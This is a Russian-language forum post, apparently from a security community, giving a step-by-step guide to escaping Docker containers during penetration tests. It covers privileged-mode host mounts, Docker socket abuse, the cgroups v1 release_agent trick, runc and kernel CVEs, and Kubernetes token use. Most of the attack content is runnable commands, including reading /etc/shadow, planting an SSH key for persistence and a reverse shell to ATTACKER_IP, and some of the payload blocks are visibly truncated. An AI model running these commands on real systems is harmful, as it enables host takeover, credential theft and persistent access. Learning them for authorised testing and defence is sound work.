Показать сообщение отдельно

  #1  
Старый 17.04.2026, 11:28
Сергей Попов
Новичок
Регистрация: 14.08.2015
Сообщений: 0
С нами: 5656404

Репутация: 0
По умолчанию



Контейнер - это не виртуальная машина. Когда ты оказываешься внутри контейнера на пентесте, между тобой и ядром хоста нет аппаратного гипервизора. Есть набор софтовых абстракций - namespaces, cgroups, capabilities, seccomp-профили - и любая из них может быть ослаблена мисконфигурацией или сломана уязвимостью. Побег из Docker контейнера (Escape to Host, T1611 по MITRE ATT&CK, тактика privilege-escalation) - переход из изолированного пользовательского пространства на хост с получением контроля над базовой системой и всеми соседними контейнерами.

Здесь я разбираю конкретные container escape techniques - от тривиального злоупотребления
Код:
--privileged
до эксплуатации свежих уязвимостей runc из серии Leaky Vessels. Для каждого вектора - механика на уровне ядра, воспроизводимые команды и объяснение, почему оно вообще работает. Материал для пентестеров, которые хотят не просто «запускать скрипт», а понимать, какой syscall за что отвечает.
Почему контейнерная изоляция ломается
Прежде чем ломать - нужно понять, что именно нас держит. Контейнер - это процесс (или группа процессов), которому через механизмы ядра Linux создано собственное пользовательское пространство. Четыре столпа этой изоляции:

Namespaces определяют, что процесс видит. Mount namespace даёт отдельную файловую систему, PID namespace - отдельное дерево процессов, NET namespace - отдельный сетевой стек. Процесс внутри контейнера взаимодействует со своими экземплярами глобальных ресурсов и не видит хостовые.

Cgroups определяют, сколько ресурсов процесс может сожрать: CPU, память, I/O. Но cgroups v1 содержат механизм
Код:
release_agent
, который выполняет команды в контексте хоста - и это станет нашим вектором атаки.

Capabilities определяют, что процесс может делать. Linux разбивает привилегии root на дискретные единицы:
Код:
CAP_SYS_ADMIN
(монтирование ФС, манипуляции с cgroups),
Код:
CAP_SYS_PTRACE
(трассировка чужих процессов),
Код:
CAP_NET_ADMIN
(управление сетью). Docker по умолчанию дропает большинство capabilities, но администраторы с завидным упорством возвращают их обратно.

Seccomp фильтрует системные вызовы. Профиль Docker по умолчанию блокирует опасные syscall'ы вроде
Код:
mount
,
Код:
reboot
,
Код:
kexec_load
.

Критический момент: все контейнеры на хосте разделяют одно ядро. Уязвимость в ядре эксплуатируется из любого контейнера, независимо от его конфигурации. Это фундаментальное отличие от виртуальных машин, где каждая ВМ работает со своим экземпляром ядра, изолированным на уровне CPU.
Разведка: определяем вектор побега изнутри контейнера
Первое, что делаешь, получив шелл в контейнере - собираешь информацию о среде. Не стреляешь вслепую, а методично определяешь, какие механизмы изоляции ослаблены.
Проверка: мы вообще в контейнере?

Bash:


Код:
# Наличие .dockerenv - верный признак Docker-контейнера
ls
-la /.dockerenv
# Cgroup - если видишь /docker/ или /kubepods/ в пути, ты в контейнере
cat
/proc/1/cgroup
# Количество процессов - в контейнере их обычно мало
ps
aux
|
wc
-l
Проверка capabilities

Bash:


Код:
# Если установлен capsh
capsh --print
# Или через /proc
cat
/proc/self/status
|
grep
-i cap
# Декодирование capability bitmask
# CapEff: 0000003fffffffff означает полный набор - мы в privileged
capsh --decode
=
0000003fffffffff
Если
Код:
CapEff
содержит полный набор (значение
Код:
0000003fffffffff
или близкое) - контейнер запущен с
Код:
--privileged
. Это первый и самый жирный вектор.
Проверка монтирований и сокетов

Bash:


Код:
# Ищем Docker socket
ls
-la /var/run/docker.sock
ls
-la /run/docker.sock
# Ищем монтированные хостовые директории
mount
|
grep
-E
"ext4|xfs|btrfs"
cat
/proc/self/mountinfo
# Ищем блочные устройства (доступны в privileged)
fdisk
-l
2>
/dev/null
||
lsblk
2>
/dev/null
Проверка версии ядра и среды

Bash:


Код:
uname
-a
cat
/proc/version
# Информация о контейнерном рантайме
cat
/proc/1/cmdline
|
tr
'\0'
' '
Инструменты автоматизации, которые я использую на реальных engagement'ах:

ИнструментЧто делаетКогда использовать
Код:
amicontained
Показывает namespaces, capabilities, seccomp modeБыстрая первичная разведка
Код:
deepce
Комплексная проверка всех векторов побегаПолный аудит контейнера
Код:
CDK
(Container Escape Toolkit)Автоматическая эксплуатация известных векторовКогда нужен быстрый результат

Я обычно начинаю с
Код:
amicontained
- он лёгкий и за пару секунд даёт картину. Если ничего очевидного нет, подключаю
Код:
deepce
.
Docker privileged mode escape: прогулка, а не взлом
Флаг
Код:
--privileged
- это отключение практически всех механизмов изоляции разом. Контейнер получает полный набор Linux capabilities, доступ ко всем устройствам хоста через
Код:
/dev
, отключение AppArmor и seccomp-профилей. Privileged-контейнеры - самый частый вектор побега на пентестах, и это не преувеличение.
Почему это работает
Когда Docker запускает контейнер с
Код:
--privileged
, он не модифицирует capabilities процесса - тот сохраняет полные привилегии root. Все устройства хоста (включая блочные
Код:
/dev/sda
,
Код:
/dev/nvme0n1p1
) становятся видимы и доступны. Seccomp-профиль не применяется, так что syscall
Код:
mount
работает без ограничений. По сути, тебя посадили в «клетку» с открытой дверью.
Пошаговая эксплуатация
Шаг 1. Подтверждаем privileged mode:

Bash:


Код:
# Проверяем capabilities - должны быть полные
capsh --print
2>
/dev/null
|
grep
"Current"
# Или проверяем доступ к устройствам
ls
/dev/sda* /dev/nvme* /dev/vda*
2>
/dev/null
Шаг 2. Находим корневое блочное устройство хоста:

Bash:


Код:
fdisk
-l
2>
/dev/null
|
grep
"Disk /dev"
# Типичный результат: /dev/sda1, /dev/vda1, /dev/nvme0n1p1
Шаг 3. Монтируем файловую систему хоста:

Bash:


Код:
mkdir
-p /mnt/host
mount
/dev/sda1 /mnt/host
Шаг 4. Получаем полный доступ к хосту:

Bash:


Код:
# Вариант 1: chroot в хостовую ФС
chroot
/mnt/host /bin/bash
# Вариант 2: добавляем SSH-ключ для персистентного доступа
echo
"ssh-rsa AAAA...ваш_ключ..."
>>
/mnt/host/root/.ssh/authorized_keys
# Вариант 3: читаем чувствительные файлы
cat
/mnt/host/etc/shadow
После
Код:
chroot /mnt/host /bin/bash
ты фактически root на хосте. Можно создавать пользователей, читать секреты, модифицировать системные сервисы. Побег занимает буквально секунды - я засекал.

И вот что обидно (для защитников): privileged-контейнеры по-прежнему часто встречаются в production. CI/CD-пайплайны с Docker-in-Docker, мониторинговые агенты, dev-окружения, где разработчик добавил
Код:
--privileged
чтобы «просто работало». На каждом втором проекте натыкаюсь.
Mounted Docker socket exploitation: ключи под ковриком
Монтирование Docker-сокета (
Код:
/var/run/docker.sock
) в контейнер - второй по частоте вектор побега. Этот паттерн используется CI/CD-системами (Jenkins, GitLab Runner), инструментами мониторинга (Portainer, cAdvisor), лог-агрегаторами.
Почему это работает
Docker daemon работает от root. Сокет
Код:
/var/run/docker.sock
- Unix-сокет, через который клиент общается с демоном по Docker API. Любой, кто имеет доступ к этому сокету, может отправлять команды демону от имени root. Это не уязвимость - это штатная работа API. Но с точки зрения безопасности, доступ к сокету эквивалентен root SSH на хост. Ключи буквально лежат под ковриком.
Пошаговая эксплуатация
Шаг 1. Проверяем наличие сокета:

Bash:


Код:
ls
-la /var/run/docker.sock
# srw-rw---- 1 root docker ... /var/run/docker.sock
Шаг 2. Взаимодействуем с Docker API.

Если в контейнере нет клиента Docker, используем curl:

Bash:


Код:
# Проверяем, что API доступно
curl
-s --unix-socket /var/run/docker.sock http://localhost/version
# Список запущенных контейнеров
curl
-s --unix-socket /var/run/docker.sock http://localhost/containers/json
|
python3 -m json.tool
Шаг 3. Создаём привилегированный контейнер с доступом к хостовой ФС:

Если Docker-клиент доступен:

Bash:


Код:
docker -H unix:///var/run/docker.sock run -it --privileged
\
--pid
=
host --net
=
host
\
-v /:/hostfs
\
alpine
chroot
/hostfs /bin/sh
Если доступен только curl:

Bash:


Код:
# Создаём контейнер через API
curl
-s --unix-socket /var/run/docker.sock
\
-X POST http://localhost/containers/create
\
-H
"Content-Type: application/json"
\
-d
'{"Image":"alpine","Cmd":["/bin/sh"],"Privileged":true,"HostConfig":{"Binds":["/:/hostfs"],"Privileged":true}}'
Шаг 4. Альтернатива - nsenter в PID 1 хоста:

Bash:


Код:
docker -H unix:///var/run/docker.sock run -it --privileged
\
--pid
=
host alpine nsenter -t
1
-m -u -i -n -p -- /bin/bash
Команда
Код:
nsenter
входит во все namespaces процесса с PID 1 на хосте (обычно systemd/init), фактически давая полный root-шелл на хосте.

Получив доступ к Docker API, обязательно проверь соседние контейнеры через
Код:
docker ps
. Рядом могут крутиться контейнеры с базами данных, секретами, внутренними сервисами - вектор для латерального перемещения. На одном engagement'е я так нашёл контейнер с PostgreSQL, у которого пароль лежал в переменных окружения.
Cgroups release_agent escape: красивый трюк с ядром
Этот вектор работает, когда контейнер не имеет полного
Код:
--privileged
, но обладает capability
Код:
CAP_SYS_ADMIN
. Техника эксплуатирует механизм
Код:
notify_on_release
в cgroups v1.
Механика на уровне ядра
В cgroups v1 каждая cgroup имеет файл
Код:
notify_on_release
. Когда его значение равно
Код:
1
и последний процесс покидает cgroup, ядро выполняет бинарник, указанный в файле
Код:
release_agent
корневой cgroup. Ключевой момент: выполнение происходит в контексте хоста, а не контейнера. Ядру всё равно, кто записал путь в
Код:
release_agent
- оно тупо запускает указанный файл от root на хосте.
Почему cgroups v2 не уязвим
В cgroups v2 механизм
Код:
release_agent
выпилен. Вместо него - более безопасный механизм уведомлений. Если на хосте cgroups v2 (по умолчанию в новых дистрибутивах), этот вектор не сработает. Проверить:

Bash:


Код:
# Если существует /sys/fs/cgroup/cgroup.controllers - это cgroup v2
ls
/sys/fs/cgroup/cgroup.controllers
2>
/dev/null
&&
echo
"cgroup v2"
||
echo
"cgroup v1"
Пошаговая эксплуатация (cgroup v1 + CAP_SYS_ADMIN)
Шаг 1. Монтируем cgroup и создаём поддиректорию:

Bash:


Код:
mkdir
-p /tmp/cgrp
mount
-t cgroup -o pids cgroup /tmp/cgrp
# Если pids недоступна, попробуйте другие подсистемы:
# mount -t cgroup -o devices cgroup /tmp/cgrp
# mount -t cgroup -o rdma cgroup /tmp/cgrp
# Если подсистема уже смонтирована, работайте напрямую с /sys/fs/cgroup//
# без повторного монтирования (mkdir /sys/fs/cgroup/pids/escape и т.д.)
mkdir
/tmp/cgrp/escape
Шаг 2. Включаем notify_on_release и определяем путь к ФС контейнера на хосте:

Bash:


Код:
echo
1
>
/tmp/cgrp/escape/notify_on_release
# Определяем overlay path - это путь на хосте к файловой системе контейнера
host_path
=
$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo
"$host_path/cmd"
>
/tmp/cgrp/release_agent
Шаг 3. Создаём payload:

Bash:


Код:
cat
>
/cmd
 /output
cat /etc/hostname >> /output
id >> /output
EOF
chmod
+x /cmd
Шаг 4. Триггерим выполнение:

Bash:


Код:
# Запускаем процесс в нашей cgroup и сразу завершаем его
sh
-c
"echo \$\$ > /tmp/cgrp/escape/cgroup.procs"
# sh -c завершится сразу после echo, став последним процессом в cgroup
# и триггерив notify_on_release. Если не сработало, используйте:
# sh -c "echo \$\$ > /tmp/cgrp/escape/cgroup.procs" &
# Даём время на выполнение release_agent и читаем результат
sleep
1
cat
/output
Когда процесс завершается, он становится последним (и единственным) в cgroup
Код:
escape
. Ядро видит
Код:
notify_on_release=1
, берёт путь из
Код:
release_agent
и выполняет наш скрипт в контексте хоста. Результат:

Bash:


Код:
cat
/output
# Вывод ps aux хоста, hostname хоста, uid=0(root)
Красиво, правда? Ядро само выполняет наш код на хосте. Для полноценного reverse shell замени payload:

Bash:


Код:
cat
>
/cmd
& /dev/tcp/ATTACKER_IP/4444 0>&1
EOF
Уязвимости runc: от CVE-2019-5736 до Leaky Vessels
Runc - низкоуровневый контейнерный рантайм, который непосредственно создаёт и запускает контейнеры. Его используют Docker, containerd, CRI-O, Kubernetes. Уязвимость в runc бьёт по всей контейнерной инфраструктуре разом.
CVE-2019-5736: перезапись бинарника runc на хосте
CVSS 8.6 (HIGH), вектор CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C - обратите внимание на
Код:
S:C
(Scope: Changed), что означает выход за пределы контейнера. CWE-78 (OS Command Injection). Затронуты runc до версии 1.0-rc6 и Docker до 18.09.2.

Механика: Уязвимость связана с некорректной обработкой файловых дескрипторов. Когда выполняется
Код:
docker exec
для запуска процесса в существующем контейнере, runc на хосте открывает себя через
Код:
/proc/self/exe
. Атакующий внутри контейнера может перезаписать бинарник runc на хосте через этот файловый дескриптор. После перезаписи любой последующий запуск контейнера выполнит подменённый runc с правами root.

Условия эксплуатации:
  • Атакующий контролирует образ контейнера, ИЛИ имеет запись в существующий контейнер, к которому применяется
    Код:
    docker exec
  • Требуется действие пользователя (
    Код:
    UI:R
    ) - кто-то должен выполнить
    Код:
    docker exec
    или запустить контейнер
Эта CVE была одной из первых громких container escape уязвимостей в runc и сильно подтолкнула разработку rootless-контейнеров.
CVE-2024-21626: Leaky Vessels - утечка файловых дескрипторов
CVSS 8.6 (HIGH), вектор аналогичный -
Код:
S:C
(выход за пределы контейнера). CWE-403 (Exposure of File Descriptor to Unintended Control Sphere), CWE-668 (Exposure of Resource to Wrong Sphere). Затронуты runc 1.1.11 и ранее.

Механика: Из-за утечки внутреннего файлового дескриптора атакующий мог заставить процесс, создаваемый через
Код:
runc exec
, иметь рабочую директорию в файловой системе хоста. Это давало доступ к хостовой ФС из контейнера. Тот же вектор мог быть использован через вредоносный Docker-образ для получения доступа к хосту при запуске контейнера.

По данным Wiz, уязвимость имела широкое воздействие на облачные среды - затронут базовый компонент всей контейнерной инфраструктуры.
Серия CVE-2025: новые symlink/TOCTOU-уязвимости runc
В 2025 году раскрыты три новых уязвимости в runc, эксплуатирующие схожие классы проблем - symlink-гонки и некорректную верификацию bind-mount'ов (не связаны с оригинальным брендом Leaky Vessels от Snyk, который относился к CVE-2024-21626 и смежным CVE):

CVE-2025-31133 (
Код:
CVSS 7.3 HIGH по CVSS 4.0, PR:L/UI:A/AT:P
- нужны локальные привилегии, активное взаимодействие пользователя и предусловия атаки). CWE-61 (UNIX Symbolic Link Following), CWE-363 (Race Condition Enabling Link Following). Runc недостаточно верифицировал, что источник bind-mount (например,
Код:
/dev/null
контейнера) действительно является настоящим inode
Код:
/dev/null
. Атакующий мог подменить
Код:
/dev/null
симлинком на файлы procfs (например,
Код:
/proc/sys/kernel/core_pattern
), обойдя защиту maskedPaths. Затронуты runc версий до 1.2.7, 1.3.0-rc.1 - 1.3.1, 1.4.0-rc.1 - 1.4.0-rc.2.

CVE-2025-52565 (CVSS 8.4 HIGH по CVSS 4.0). Те же CWE-61 и CWE-363. Из-за недостаточных проверок при bind-mount
Код:
/dev/pts/$n
в
Код:
/dev/console
внутри контейнера атакующий мог обманом заставить runc смонтировать пути, которые обычно доступны только на чтение или замаскированы.
Код:
PR:N
(не нужны привилегии),
Код:
UI:P
(нужно действие пользователя - например, сборка образа).

CVE-2025-52881 (CVSS 7.3 HIGH по
Код:
CVSS 4.0, PR:L/UI:A/AT:P
). Затронуты runc версий 1.2.7, 1.3.2 и 1.4.0-rc.2. Атакующий мог перенаправить записи в
Код:
/proc
на другие procfs-файлы через гонку с использованием контейнера с общими монтированиями. Верифицировано, что эксплуатация возможна через стандартный Dockerfile при
Код:
docker buildx build
.

Все три уязвимости исправлены в runc 1.2.8 и новее. Общий паттерн - symlink/TOCTOU-гонки (CWE-61, CWE-363) при инициализации контейнера. Runc наступает на одни и те же грабли - гонки при работе с симлинками.
Kernel exploits: общее ядро - общие уязвимости
В отличие от уязвимостей runc, kernel exploits не зависят от конфигурации контейнера. Ядро уязвимо - побег возможен из любого контейнера. Тут уже не важно, насколько аккуратно настроены capabilities и seccomp.
CVE-2022-0847 - Dirty Pipe
CVSS 7.8 (HIGH), вектор CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U. CWE-665 (Improper Initialization). Уязвимость в pipe-подсистеме ядра Linux: поле
Код:
flags
новой структуры pipe buffer не инициализировалось корректно и могло содержать устаревшие значения. Непривилегированный локальный пользователь мог записывать в страницы page cache, связанные с файлами «только для чтения». Затронуты ядра от 5.8 до 5.16.11/5.15.25/5.10.102.

В контексте контейнеров основной вектор escape - перезапись бинарников контейнерного рантайма (runc, containerd-shim) через
Код:
/proc
, которые исполняются хостом при операциях с контейнерами. Прямая перезапись файлов через overlay layers имеет ограничения из-за copy-on-write семантики.
CVE-2022-0185 - Integer Overflow → Heap-Based Buffer Overflow в Filesystem Context
CVSS 8.4 (HIGH), вектор CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U -
Код:
S:U
(Scope: Unchanged), то есть сама по себе уязвимость не пересекает security boundary. CWE-190 (Integer Overflow), CWE-191 (Integer Underflow) - heap-based buffer overflow как следствие целочисленного переполнения. Переполнение кучи в функции
Код:
legacy_parse_param
при обработке параметров файловой системы. Это уязвимость локального повышения привилегий (LPE), которая может быть частью цепочки container escape. Непривилегированный пользователь мог эксплуатировать её при включённых unprivileged user namespaces; в противном случае требовался
Код:
CAP_SYS_ADMIN
в user namespace.
CVE-2024-1086 - nf_tables Use-After-Free
CVSS 7.8 (HIGH). CWE-416 (Use After Free). Уязвимость в netfilter-подсистеме: функция
Код:
nft_verdict_init()
позволяла положительные значения как drop error, что приводило к double free в
Код:
nf_hook_slow()
. Эксплуатируема из контейнеров с доступом к сетевому namespace. По данным Blaxel, в октябре 2025 года CISA подтвердила активную эксплуатацию этой уязвимости в ransomware-кампаниях группировками RansomHub и Akira. Это не теория - это уже в дикой природе.
CVE-2016-5195 - Dirty COW
CVSS 7.0 (HIGH), вектор CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U - AC:H указывает на высокую сложность из-за необходимости выиграть race condition, что может потребовать множественных попыток. CWE-362 (Race Condition). Race condition в подсистеме управления памятью ядра, позволявшая запись в read-only memory mappings. Одна из первых kernel CVE, массово использовавшихся для побега из контейнеров. Старая, но на непатченных системах до сих пор встречается (да, такие ещё живы).
Docker socket через сеть: побег без локального сокета
Отдельная история - когда Docker daemon доступен по TCP (порт 2375/2376). Встречается в Kubernetes-кластерах, CI/CD-пайплайнах, dev-средах. Проверка:

Bash:


Код:
# Изнутри контейнера или сети
curl
-s http://

:2375/version
Если API отвечает без аутентификации - это полный доступ к хосту. Дальнейшая эксплуатация аналогична mounted docker socket exploitation. Порт 2375 без TLS и auth - это как оставить root-шелл на 0.0.0.0.
Kubernetes container escape: расширение поверхности атаки
В Kubernetes-средах вектора побега усиливаются дополнительными мисконфигурациями:
  • hostPID: true - контейнер разделяет PID namespace с хостом, видит все процессы. Комбинация с
    Код:
    CAP_SYS_PTRACE
    позволяет производить инъекцию в код внутрь хостовых процессов
  • hostNetwork: true - контейнер разделяет сетевой namespace хоста, может перехватывать трафик
  • hostIPC: true - доступ к shared memory хоста
  • serviceAccountToken - автоматически монтируемый токен может иметь избыточные RBAC-права в кластере
Проверка из pod'а:

Bash:


Код:
# Наличие хостового PID namespace
cat
/proc/1/cmdline
|
tr
'\0'
' '
# Если видишь systemd/init - ты в хостовом PID namespace
# Проверка Kubernetes service account
cat
/var/run/secrets/kubernetes.io/serviceaccount/token
# Попытка обращения к API server
curl
-sk https://kubernetes.default/api/v1/namespaces
\
-H
"Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
Практический алгоритм: пентест контейнера за 10 шагов
Вот последовательность, которую я использую на engagement'ах. Порядок оптимизирован по вероятности успеха и скорости:

📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше


Получить доступ просто — достаточно проявить активность на форуме

Что затрудняет побег: защитные механизмы глазами атакующего
Понимание защиты помогает правильно оценить среду и не тратить время на нерабочие векторы.

User namespaces. Если включены, root внутри контейнера (UID 0) маппится на непривилегированного пользователя на хосте. Даже побег из контейнера не даёт root на хосте. Проверка:
Код:
cat /proc/self/uid_map
- если маппинг не
Код:
0 0 4294967295
, user namespaces активны.

Seccomp-профили. Дефолтный Docker-профиль блокирует около 44 syscall'ов, включая
Код:
mount
,
Код:
ptrace
,
Код:
reboot
. Если seccomp активен и не ослаблен, вектор через cgroups release_agent не сработает - syscall
Код:
mount
будет заблокирован.

AppArmor/SELinux. Дополнительные MAC-политики ограничивают доступ к файлам и операциям даже для процессов с нужными capabilities.

Cgroups v2. Удалён
Код:
release_agent
- целый класс атак становится невозможным.

Rootless containers. Docker daemon работает от непривилегированного пользователя. Даже при полном побеге атакующий получает лишь права этого пользователя. Неприятно.

Read-only root filesystem. Затрудняет размещение payload'ов, но обходится через tmpfs-монтирования.

Своевременный патчинг. Container escape CVE в runc, containerd и ядре Linux публикуются регулярно. Aggressive patching schedule - самая эффективная защита от эксплуатации уязвимостей. Для минимизации поверхности атаки рекомендуется использовать специализированные container-optimized ОС: Bottlerocket, Flatcar, Talos Linux.

Для обнаружения попыток побега в runtime - инструменты на основе eBPF: Falco и Sysdig Secure отслеживают аномальные системные вызовы, нетипичные деревья процессов и использование capabilities, характерное для эксплуатации.
Заключение
Побег из Docker контейнера - не экзотика, а стандартная часть kill chain при пентесте контейнерной инфраструктуры. Privileged mode и mounted Docker socket - тривиальные векторы, которые встречаются чаще, чем хотелось бы. Cgroups release_agent требует
Код:
CAP_SYS_ADMIN
и cgroups v1, но на множестве production-систем эти условия выполняются. Уязвимости runc - от CVE-2019-5736 до Leaky Vessels (CVE-2024-21626) и свежих symlink/TOCTOU-уязвимостей runc (CVE-2025-31133, CVE-2025-52565, CVE-2025-52881) - бьют по всей контейнерной инфраструктуре. Kernel exploits (Dirty Pipe, Dirty COW, CVE-2024-1086) работают из любого контейнера, потому что ядро общее.

Контейнер - набор софтовых абстракций, а не аппаратная граница. Попробуйте прогнать свои production-контейнеры по чеклисту из раздела «10 шагов». Если нашли
Код:
--privileged
или торчащий сокет - у вас та же проблема, что и у половины индустрии.
 
Ответить с цитированием